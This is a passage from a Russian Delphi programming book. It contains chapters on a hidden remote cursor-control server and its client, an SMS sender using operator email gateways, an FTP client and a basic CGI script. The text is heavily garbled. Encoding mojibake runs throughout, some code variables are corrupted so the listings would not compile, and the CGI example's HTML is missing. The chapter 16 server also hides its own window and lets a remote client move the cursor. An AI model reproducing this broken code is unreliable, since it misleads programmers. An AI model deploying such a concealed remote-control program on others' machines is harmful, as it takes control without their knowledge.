Создайте новый проект Delphi. Разместите на форме главный компонент программы — ServerSocket категории Internet и измените значение его свойства Port на 2801.

Первым делом, обеспечим нашей форме невидимость. Создайте обработчик события формы OnPaint и добавьте в него следующий код:

procedure TForm1.FormPaint(Sender: TObject);

begin

В Form1.Hide ;

end;

Для того чтобы активизировать сервер при запуске программы, необходимо обработать событие формы OnCreate:

procedure TForm1.FormCreate(Sender: TObject);

begin

 ServerSocket1.Active:= True; //активизировать сервер

end;

Для того чтобы при выходе из программы сервер отключался, необходимо обработать событие формы OnDestroy:

procedure TForm1.FormDestroy(Sender: TObject);

begin

 ServerSocket1.Active:= False; //отключаем сервер

end;

Теперь осталось только обработать событие OnClientRead компонента ServerSocket. Это событие будет происходить каждый раз, когда будет поступать команда от клиента. Код обработчика этого события имеет следующий вид:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);

var

  str, x, y: string; //полученный текст и координаты

  //указателя по X и по Y

  i, j: integer; //счетчики циклов

В  begin

 //обнуляем координаты курсора

В С… := ' ';

В Сѓ := ' ';

 str := Socket.ReceiveText; //полученный от клиента текст

В for i:=1 to Length(str) doВ begin

  if str[i] <> '_' then x := x + str[i]; //координаты по х

   if str[i] = '_' then Break; //разделитель между

   //координатами указателя

В  end;

 for j:= i+1 to Length(str) do у:= y+str[j]; //координаты по у

 //устанавливаем новые координаты указателя

В  SetCursorPos(StrToInt(x), StrToInt(Сѓ));

end;

При получении текста мы считываем в отдельные переменные значение координат указателя по X и по Y. Затем изменяем координаты на те, которые только что получили от клиента.

Теперь программа полностью готова, и для того чтобы протестировать ее, необходимо иметь хотя бы два компьютера, объединенные в локальную сеть или подключенные к Internet.

 

Полный исходный код модулей

Полный код модуля серверной программы представлен в листинге 16.1.

Листинг 16.1. Модуль серверной программы

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp;

typeВ TForm1 = class(TForm)

В ServerSocket1: TServerSocket;

В procedure FormDestroy(Sender: TObject);

В procedure FormCreate(Sender: TObject);

В procedure ServerSocketlClientRead(Sender: TObject; Socket: TCustomWinSocket);

В procedure FormPaint(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);

begin

 ServerSocket1.Active:= False; //отключаем сервер

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

 ServerSocket1.Active:= True; //активизировать сервер

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);

var

 str, x, y: string; //полученный текст и координаты

  //указателя по X и по Y

 i, j: integer; //счетчики циклов

В begin

 //обнуляем координаты курсора

В С… := ' ';

В Сѓ := ' ';

 str:= Socket.ReceiveText; //полученный от клиента текст

В for i:=1 to Length(str) doВ begin

  if str[i] <> '_' then x:= x + str[i]; //координаты по х

  if str[i] = '_' then Break; //разделитель между

   //координатами указателя

В end;

 for j:= i+1 to Length(str) do у:= y+str[j]; //координаты по у

 //устанавливаем новые координаты указателя

В SetCursorPos(StrToInt(x), StrToInt(Сѓ));

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

В Form1.Hide;

end;

end.

Полный код модуля клиентской программы представлен в листинге 16.2.

Листинг 16.2. Модуль клиентской программы

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, StdCtrls, ExtCtrls;

typeВ TForm1 = class(TForm)

В Button1: TButton;

В Button2: TButton;

В Client: TClientSocket;

В Timer1: TTimer;

В port: TEdit;

В ip: TEdit;

В Label1: TLabel;

В Label2: TLabel;

В procedure Button2Click(Sender: TObject);

В procedure FormDestroy(Sender: TObject);

В procedure Button1Click(Sender: TObject);

В procedure Timer1Timer(Sender: TObject);

В procedure ClientConnect(Sender: TObject;В Socket: TCustomWinSocket);

В procedure ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button2Click(Sender: TObject);

begin

 Timer1.Enabled:= False;//выключаем таймер

 Client.Close; //закрываем соединение

 Client.Active:= False; //отключаемся от сервера

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

 Client.Close; //закрываем соединение

 Client.Active:=False; //отключаемся от сервера

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 Client.Port:= StrToInt(port.Text); //считываем порт

 Сlient.Address:= ip.text; //считываем ip-адрес сервера

 Client.Active:= True; //соединяемся

 Timer1.Enabled:= True; //включаем таймер

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var

 cur:TPoint; //хранит координаты указателя мыши

begin

 GetCursorPos(cur); //узнаем координаты указателя мыши

 //отправляем данные на сервер

В Client.Socket.SendText(IntToStr(cur.X) +'_' + IntToStr(cur.Y));

end;

procedure TForm1.ClientConnect(Sender: TObject; Socket: TCustomWinSocket);

begin

 ShowMessage('Connected!'); //показать сообщение

end;

procedure TForml.ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);

begin

 ShowMessage('Disconnected!'); //сообщение при отсоединении

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл клиентской программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_16\Client, Р° файлы проекта Рё исполняемый файл серверной программы — РІ папке Chapter_16\Server.

 

Постановка задачи

Разработать программу для бесплатной отправки SMS через Internet. Осуществлять отправку через сайты популярных украинских операторов ("UMC", "Джинс", "Киевстар"…)

 

Разработка формы

Для того чтобы отправить SMS, необходимо знать номер телефона, на который мы будем отправлять сообщение, оператора этого номера и, естественно, — само отправляемое сообщение.

Создайте новый проект Delphi и присвойте форме заголовок SMS-sender (свойство Caption). Разместите на форме компонент Label категории Standard и присвойте его свойству Caption значение Оператор:. Справа от него разместите компонент ComboBox (раскрывающийся список) категории Standard и измените его свойства согласно табл. 17.1.

Примечание

Свойство ComboBox.Items — это список строк, редактируемый в специальном окне, которое открывается по двойному щелчку мышью в соответствующем поле инспектора объектов.

Таблица 17.1. Свойства компонента ComboBox

Примечание

В данном примере используется перечень мобильных операторов, действующих на территории Украины. Если вы живете в другой стране, используйте собственный список операторов.

Под первой меткой разместите еще один компонент label, присвоив его свойству caption значение Номер:. Справа от него разместите компонент Edit категории Standard и назовите его tel (свойство Name).

Ниже этих двух компонентов разместите компонент Label с текстом Сообщение: (свойство Caption). Под ним разместите компонент Memo категории Standard, присвоив ему имя sms. Для него можно поставить ограничение на ввод 160 символов, поскольку мобильные операторы обычно разрешают отправлять с Web-сайта сообщения длиной не больше 160 символов. Для того чтобы установить это ограничение, присвойте свойству sms.MaxLength значение 160.

Для отображения количества символов, введенных в поле sms, разместите под memo-полем компонент Label и измените его свойства согласно табл. 17.2.

Таблица 17.2. Свойства компонента Label для отображения длины сообщения

В правом нижнем углу формы разместите кнопку (компонент Button категории Standard), присвоив ее свойству Caption значение Отправить.

Для отправки SMS нам понадобится компонент для передачи электронной почты через SMTP. Такой компонент есть на вкладке FastNet и называется он NMSMTP. Для того чтобы установить некоторые настройки, у вас должен быть собственный адрес электронной почты. Бесплатных почтовых серверов в Internet предостаточно, так что с этим проблем возникнуть не должно.

Р’ рассматриваемом примере будет фигурировать адрес электронной почты автора ([email protected]). РџСЂРё желании, РІСЃРµ перечисленные ниже настройки, конечно же, можно заменить собственными.

Р’ свойстве NMSMTP1.Host следует указать smtp-сервер. Для yandex.ru это свойство должно принять значение smtp.yandex.ru. Р’ свойстве UserID необходимо указать логин отправителя — указываем heel-adm. Теперь разверните свойство PostMessage Рё измените значение вложенного свойства FromAddress РЅР° [email protected], a FromName — РЅР° heel-adm. Значение свойства Port измените РЅР° 25.

Полученная в результате форма должна соответствовать рис. 17.1.

Рис. 17.1. Форма программы для отправки SMS

 

Разработка программного кода

По нажатию кнопки Отправить будет выполняться следующий код:

procedure TForm1. Button1Click (sender: TObject);

var

 num: string; //адрес получателя

begin

 NMSMTP1.PostMessage.Body.Clear ; //очищаем текст письма

 //помещаем SMS в текст письма

В  NMSMTP1.PostMessage.Body.AddStrings(sms.Lines);

 //проверяем, какого оператора выбрал пользователь

В case oper.ItemIndex of

 0: num:= '38066'+tel.text+'@sms.jeans.com.ua'; //Джинc

В 1: num:= '38050'+tel.Text+'@sms.umc.com.ua'; //UMC

 2: num:= '38067'+tel.Text+'@sms.kyivstar . net '; //Киевстар

В end;

 NMSMTP1.PostMessage.ToAddress.Add(num) ; //адрес получателя

 NMSMTP1.Connect; //соединяемся с сервером

 NMSMTP1.SendMail; //отправляем почту

 NMSMTP1.Disconnect ; //отсоединяемся от сервера

 //выводим сообщение об успешной отправке

 ShowMessage('Сообщение отправлено!' + num);

end;

Сначала мы проверяем: какого оператора выбрал пользователь. Если "Джинc", то добавляем перед номером телефона "38066", если "UMC", то добавляем "38050", для "Киевстар" — "38067".

После того как мы узнали номер оператора, добавляем его к введенному номеру телефона и затем добавляем все это к адресу сервера оператора. Например, для отправки на номер "Джинc" 1565394, делаем связку "38066"+"1565394"+"@sms.jeans.com.ua".

После того как получен электронный адрес для отправки SMS, мы соединяемся с сервером, отправляем письмо и отсоединяемся. Если никаких ошибок не произошло, то мы получим сообщение об успешной отправке.

Для того чтобы пользователь видел, сколько символов он ввел, и мог контролировать длину SMS, реализуем подсчет символов при вводе сообщение. Для этого следует обработать событие sms. OnChange:

procedure TForm1.smsChange(Sender: TObject);

begin

 //количество введенных символов

В kolvo.Caption:= IntToStr(Length(sms.Text));

end;

Количество введенных символов отображается в метке kolvo. Программа отправки сообщений SMS в действии представлена на рис. 17.2.

Рис. 17.2. Программа отправки SMS через Internet в действии

 

Полный исходный код модуля

Полный код модуля программы отправки SMS через Internet представлен в листинге 17.1.

Листинг 17.1. Модуль программы отправки SMS через Internet

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Psock, NMsmtp;

type TForm1 = class(TForm)

В oper: TComboBox;

В sms: TMemo;

В Label1: TLabel;

В Label2: TLabel;

В tel: TEdit;

В Label3: TLabel;

В Button1: TButton;

В NMSMTP1: TNMSMTP;

В kolvo: TLabel;

В procedure Button1Click(Sender: TObject);

В procedure smsChange(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(sender: TObject);

var

 num: string; //адрес получателя

begin

 NMSMTP1.PostMessage.Body.Clear; //очищаем текст письма

 //помещаем SMS в текст письма

В NMSMTP1.PostMessage.Body.AddStrings(sms.Lines);

 //проверяем, какого оператора выбрал пользователь

В case oper.ItemIndex of

 0: num:= '38066'+tel.text+'@sms.jeans.com.ua'; //Джинc

В 1: num:= '38050'+tel.Text+'@sms.umc.com.ua'; //UMC

 2: num:= '38067'+tel.Text+'@sms.kyivstar.net'; //Киевстар

В end;

 NMSMTP1.PostMessage.ToAddress.Add(num); //адрес получателя

 NMSMTP1.Connect; //соединяемся с сервером

 NMSMTP1.SendMail; //отправляем почту

 NMSMTP1.Disconnect; //отсоединяемся от сервера

 //выводим сообщение об успешной отправке

 ShowMessage('Сообщение отправлено!' + num);

end;

procedure TForm1.smsChange(Sender: TObject);

begin

 //количество введенных символов

В kolvo.Caption:= IntToStr(Length(sms.Text));

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter 17.

 

Постановка задачи

Разработать FTP-клиент. Программа должна соединяться с FTP-cepвером, проходить аутентификацию и предоставлять пользователю возможность работать с файлами, которые находятся на сервере. У пользователя должна быть возможность передавать и получать файлы, создавать и удалять каталоги и т.п. Также пользователь может выполнять свои собственные команды на сервере.

 

Разработка формы

Создайте новый проект Delphi. Приготовьтесь к тому, что форма получится довольно большой (ширина — около 800 пикселей) и будет содержать большое количество разных кнопок и полей ввода. Присвойте ей заголовок FTP-client (свойство Caption) и разместите компоненты согласно табл. 18.1.

Таблица 18.1. Свойства формы FTP-клиента

Полученная форма должна соответствовать рис. 18.1.

Рис. 18.1. Форма FTP-клиента

 

Разработка программного кода

Обработаем нажатия кнопок соединения и отключения от сервера. Обработчик события OnClick для кнопки Подключиться:

procedure TForm1.Button1Click(sender: TObject);

begin

 ftp.Host:= ftpserver.Text; //ftp-сервер

 ftp.UserID:= name.Text; //логин

 ftp.Password:= pass.Text; // пароль

 ftp.Port:= StrToInt(port.Text) ; //порт для подключения

 //соединяемся с сервером

В if not ftp . Connected then ftp.Connect;

end;

Здесь мы считываем все данные, которые необходимы для соединения с сервером. После этого мы пытаемся соединиться с сервером. Об успешности этой операции можно будет узнать в поле состояния.

Обработаем нажатие кнопки Отключиться:

procedure TForm1.Button2Click(Sender: TObject);

begin

 if ftp . Connected then //если соединен

  ftp.Disconnect; //отключиться от сервера

end;

Если при нажатии кнопки Отключиться установлено соединение с сервером, то мы разрываем его.

Теперь обработаем нажатие кнопок, которые служат для работы с сервером. Обработчик события OnClick для кнопки Удалить:

procedure TForm1.Button4Click(Sender : TObject);

begin

 ftp.Delete(del.text); //удалить файл

end;

Здесь мы удаляем файл, имя которого пользователь ввел в поле рядом с кнопкой.

Обработаем нажатие кнопки Изменить каталог:

procedure TForm1.Button5Click(Sender: TObject);

begin

 ftp.ChangeDir(cd.Text); //изменяем каталог

end;

Устанавливаем текущим тот каталог, который указан в поле cd.

Обработаем нажатие кнопки Выполнить команду:

procedure TForm1.Button6Click(Sender: TObject);

begin

 ftp.DoCommand(cmd.Text); //выполнение команды

end;

При работе с сервером мы предоставляем пользователю возможность работать не только с помощью команд, предусмотренных в интерфейсе, но и выполнять на сервере любые произвольные команды. Для этого у нас есть поле cmd, в котором пользователь вводит команду, и кнопка Выполнить команду, по нажатию которой введенная команда выполняется.

Обработаем нажатие кнопки Создать каталог:

procedure TForm1.Button7Click(Sender: TObject);

begin

 ftp.MakeDirectory(md.Text); //создать каталог

end;

Обработаем нажатие кнопки Удалить каталог:

procedure TForm1.Button8Click(Sender: TObject);

begin

 ftp.RemoveDir(rd.Text); //удалить каталог

end;

Обработаем нажатие кнопки Скачать файл:

procedure TForm1.Button9Click(Sender: TObject);

begin

 //открытие диалогового окна сохранения файла

В if Save1.Execute

 then //скачиваем указанный файл

В  ftp.Download(download.Text, save1.FileName)

 else ShowMessage('File not saved!' ); {если пользователь отказался сохранять файл}

end;

Сначала мы предлагаем пользователю указать имя и путь размещения полученного файла. Затем мы загружаем файл и размещаем его по указанному пути.

Наконец, обработаем нажатие кнопки Загрузить файл на сервер:

procedure TForm1.Button3Click(Sender: TObject);

var

В i: integer;

 FName, temp: string; //для получения имени файла

begin

 if not Open1.Execute then ShowMessage('Файл не выбран!')

В else begin

 //очищаем переменные, которые содержат имя файла

В temp:= '';

В FName:= '';

 //получаем имя файла

В for i: = Length(Open1.FileName) downto 1 do

В begin

В  if Open1.FileName[i] = '\' then break;

В  temp:= temp+ Open1.FileName[i];

В end;

В for i:=length(temp) downto 1 do

В  fname:= fname + temp[i];

  ftp.Upload(Open1.FileName, FName) ; //загружаем файл

В end;

end;

Здесь мы сначала просим пользователя выбрать файл, который он хочет передать на сервер. Затем узнаем имя выбранного файла и загружаем его на сервер с таким же именем.

В общем, наш ftp-клиент уже полностью работоспособен и выполняет все необходимые функции. Единственное, что осталось сделать, — реализовать извещение пользователя о протекании всех операций и обо всех ошибках. Для этого следует создать несколько обработчиков событий компонента ftp.

Событие в случае возникновения ошибки при проверке имени и пароля — OnAuthеntiсatiоnFailed:

procedure TForm1.ftpAuthenticationFailed(var Handled: Boolean);

begin

 status1.Lines.Add('Неверное имя или пароль');

end;

Событие при подключении — OnConnect:

procedure TForm1.ftpConnect(Sender:tobject);

begin

 status1.Lines.Add('Подключено ');

 //локальный ip-адрес

 status1Lines.Add('IP клиента: ' + ftp.LocalIP) ;

 //удаленный ip-адрес

 status1Lines.Add('IPсервера: ' + ftp.RemoteIP);

end;

Событие в случае возникновения ошибки при подключении — OnConnectionFailed:

procedure TForm1.ftpConnectionFailed(Sender: TObject);

begin

 status1.Lines.Add('He удалось подключиться к серверу');

end;

Событие при отключении от сервера — OnDisconnect:

procedure TForm1.ftpDisconnect(Sender: TObject);

begin

 status1.Lines.Add('Отключено');

end;

Событие в случае возникновения некоторой ошибки — OnError:

procedure TForml.ftpError(Sender: TComponent; Errno: Word; Errmsg: String);

begin

 status1.Lines.Add('Ошибка: ' + errmsg);

end;

Событие в случае возникновения ошибки при подключении к серверу — OnInvaIidHost:

procedure TForm1.ftpInvalidHost(var Handled: Boolean);

begin

 status1.Lines.Add('Ошибка при подключении к серверу');

end;

Событие при изменении состояния — OnStatus:

procedure TForm1.ftpStatus(Sender: TComponent; Status: String);

begin

В status1.Lines.Add(Status);

end;

Событие при успешном выполнении операции — OnSuccess:

procedure TForm1.ftpSuccess(Trans_Type: TCmdType);

begin

 status1.Lines.Add('Успешно');

end;

Событие начала передачи данных — OnTransactionStart:

procedure TForm1.ftpTransactionStart(Sender: TObject);

begin

 status1.Lines.Add('Начало передачи данных');

end;

Событие завершения передачи данных — OnTransactionStop :

procedure TForm1.ftpTransactionStop(Sender: TObject);

begin

 statusl.Lines.Add('Конец передачи данных');

end;

Теперь программа полностью готова к использованию. Если у вас нет собственного Web-сайта, то для тестирования FTP-клиента можете зарегистрировать сайт на бесплатном хостинге.

 

Полный исходный код модуля

Полный код программного модуля FTP-клиента представлен в листинге 18.1.

Листинг 18.1. Программный модуль FTP-клиента

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, NMFtp, StdCtrls, Psock;

type

В TForm1 = class(TForm)

В ftp: TNMFTP;

В ftpserver: TEdit;

В Label1: TLabel;

В Label2: TLabel;

В name: TEdit;

В Label3: TLabel;

В pass: TEdit;

В Label4: TLabel;

В port: TEdit;

В Button1: TButton;

В Button2: TButton;

В status1: TMemo;

В Button3: TButton;

В Open1: TOpenDialog;

В Button4: TButton;

В del: TEdit;

В Button5: TButton;

В cd: TEdit;

В cmd: TEdit;

В Button6: TButton;

В md: TEdit;

В Button7: TButton;

В rd: TEdit;

В Button8: TButton;

В download: TEdit;

В Button9: TButton;

В Save1: TSaveDialog;

В procedure Button1Click(Sender: TObject);

В procedure ftpStatus(Sender: TComponent; Status: String);

В procedure ftpError(Sender: TComponent; Errno: Word; Errmsg : String);

В procedure ftpDisconnect(Sender: TObject);

В procedure ftpConnect(Sender: TObject);

В procedure ftpConnectionFailed(Sender: TObject);

В procedure ftpInvalidHost(var Handled: Boolean);

В procedure ftpSuccess(Trans_Type: TCmdType);

В procedure ftpTransactionStart(Sender: TObject);

В procedure ftpTransactionStop(Sender: TObject);

В procedure ftpAuthenticationFailed(var Handled: Boolean);

В procedure Button2Click(Sender: TObject);

В procedure Button3Click(Sender: TObject);

В procedure FormDestroy(Sender: TObject);

В procedure Button5Click(Sender: TObject);

В procedure Button4Click(Sender: TObject);

В procedure Button6Click(Sender: TObject);

В procedure Button7Click(Sender: TObject);

В procedure Button8Click(Sender: TObject);

В procedure Button9Click(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(sender: TObject);

begin

 ftp.Host:= ftpserver.Text; //ftp-сервер

 ftp.UserID:= name.Text;//логин

 ftp.Password:= pass.Text;// пароль

 ftp.Port:= StrToInt(port.Text); //порт для подключения

 //соединяемся с сервером

В if not ftp.Connected then ftp.Connect;

end;

procedure TForm1.ftpStatus(Sender: TComponent; Status: String);

begin

В status1.Lines.Add(Status);

end;

procedure TForml.ftpError(Sender: TComponent; Errno: Word; Errmsg: String);

begin

 status1.Lines.Add('Ошибка: ' + errmsg);

end;

procedure TForm1.ftpDisconnect(Sender: TObject);

begin

 status1.Lines.Add('Отключено');

end;

procedure TForm1.ftpConnect(Sender:tobject);

begin

 status1.Lines.Add('Подключено');

 //локальный ip-адрес

 status1Lines.Add('IP клиента: ' + ftp.LocalIP);

 //удаленный ip-адрес

 status1Lines.Add('IPсервера: ' + ftp.RemoteIP);

end;

procedure TForm1.ftpConnectionFailed(Sender: TObject);

begin

 status1.Lines.Add('He удалось подключиться к серверу');

end;

procedure TForm1.ftpInvalidHost(var Handled: Boolean);

begin

 status1.Lines.Add('Ошибка при подключении к серверу');

end;

procedure TForm1.ftpSuccess(Trans_Type: TCmdType);

begin

 status1.Lines.Add('Успешно');

end;

procedure TForm1.ftpTransactionStart(Sender: TObject);

begin

 status1.Lines.Add('Начало передачи данных');

end;

procedure TForm1.ftpTransactionStop(Sender: TObject);

begin

 statusl.Lines.Add('Конец передачи данных');

end;

procedure TForm1.ftpAuthenticationFailed(var Handled: Boolean);

begin

 status1.Lines.Add('Неверное имя или пароль');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

 if ftp.Connected then//если соединен

  ftp.Disconnect;//отключиться от сервера

end;

procedure TForm1.Button3Click(Sender: TObject);

var

В i: integer;

 FName, temp: string; //для получения имени файла

begin

 if not Open1.Execute then ShowMessage('Файл не выбран!')

В else begin

 //очищаем переменные, которые содержат имя файла

В temp:= '';

В FName:= '';

 //получаем имя файла

В for i: = Length(Open1.FileName) downto 1 do

В begin

В  if Open1.FileName[i] = '\' then break;

В  temp:= temp+ Open1.FileName[i];

В end;

В for i:=length(temp) downto 1 do

В  fname:= fname + temp[i];

  ftp.Upload(Open1.FileName, FName); //загружаем файл

В end;

end;

procedure TForm1.FormDestroy(Sender: TObject) ;

begin

В if ftp.Connected then ftp.Disconnect;

end;

procedure TForm1.Button5Click(Sender: TObject);

begin

 ftp.ChangeDir(cd.Text); //изменяем каталог

end;

procedure TForm1.Button4Click(Sender : TObject);

begin

 ftp.Delete(del.text); //удалить файл

end;

procedure TForm1.Button6Click(Sender: TObject);

begin

 ftp.DoCommand(cmd.Text); //выполнение команды

end;

procedure TForm1.Button7Click(Sender: TObject);

begin

 ftp.MakeDirectory(md.Text); //создать каталог

end;

procedure TForm1.Button8Click(Sender: TObject);

begin

 ftp.RemoveDir(rd.Text); //удалить каталог

end;

procedure TForm1.Button9Click(Sender: TObject);

begin

 //открытие диалогового окна сохранения файла

В if Save1.Execute

 then //скачиваем указанный файл

В  ftp.Download(download.Text, save1.FileName)

 else ShowMessage('File not saved!'); {если пользователь отказался сохранять файл}

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_18.

 

Постановка задачи

Разработать CGI-сценарий на Delphi. В качестве примера, при активации через форму сценарий будет выводить определенную фразу.

 

Разработка проекта

К удивлению некоторых программистов, в Delphi можно разрабатывать CGI-сценарии. Для примера, разработаем сценарий, при обращении к которому будет создаваться HTML-страница с текстом "Это мой первый CGI-сценарий".

Поскольку это будет РЅРµ обычная выполняемая программа, то стандартный проект, который РїРѕ умолчанию предлагает нам Delphi, РЅРµ РїРѕРґС…РѕРґРёС‚. Выполните команду меню File→New→Other, РІ результате чего откроется диалоговое РѕРєРЅРѕ New Items (СЂРёСЃ. 19.1).

Рис. 19.1. Диалоговое окно New Items

Выберите тип программы Console Application и нажмите кнопку OK. В появившемся окне сотрите весь текст и введите следующий код:

program cgi_test; //название сценария

{$APPTYPE CONSOLE}

{$Е cgi} //расширение приложения будет .cgi

begin

 //способ отображения – text/html

В WriteLn('Content-Type: text/html');

В WriteLn;

В WriteLn;

 WriteLn(' '); //начало страницы

В WriteLn('' );

 //заголовок

В WriteLn(' ');

 //кодировка и тип содержимого

 WriteLn('<МЕТА http-equiv="Content-Type" ' +

В В  'content="text/html; charset=utf-8">');

В WriteLn('');

В WriteLn('');

В WriteLn('

Это мой первый CGI-сценарий'

    +''); //выводим текст большими жирными буквами

В WriteLn('');

В WriteLn('');

end.

Откомпилируйте приложение и присвойте ему имя cgi_test.cgi. Этот CGI-сценарий при обращении к нему создает страницу с заголовком "Первый cgi-сценарий на Delphi" и большим текстом на странице: "Это мой первый CGI-сценарий".

Теперь необходимо создать Web-страницу, которая будет обращаться к этому сценарию. Создайте файл с расширением .html следующего содержимого:

<ТIТLE>Первый cgi-сценарий на Delphi

В 

<р>Также вы можете выполнять сценарии, просто делая на них

ссылку: ссылка на cgi-сценарий

Это форма с кнопкой, которая активизирует CGI-сценарий (рис. 19.2).

Рис. 19.2. Web-страница для вызова CGI-сценария

Для того чтобы протестировать сценарий, необходимо переписать рассмотренные выше файлы на сервер с поддержкой CGI или установить и настроить собственный Web-сервер (например, Apache). Открыв показанную Web-страницу, следует нажать кнопку Выполнить или щелкнуть мышью на ссылке.

В ответ должна быть отображена новая страница с текстом "Это мой первый CGI-сценарий" (рис. 19.3).

Рис. 19.3. Страница, выданная CGI-сценарием cgi_test.cgi

⊚ Р’СЃРµ файлы рассмотренного проекта находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_19.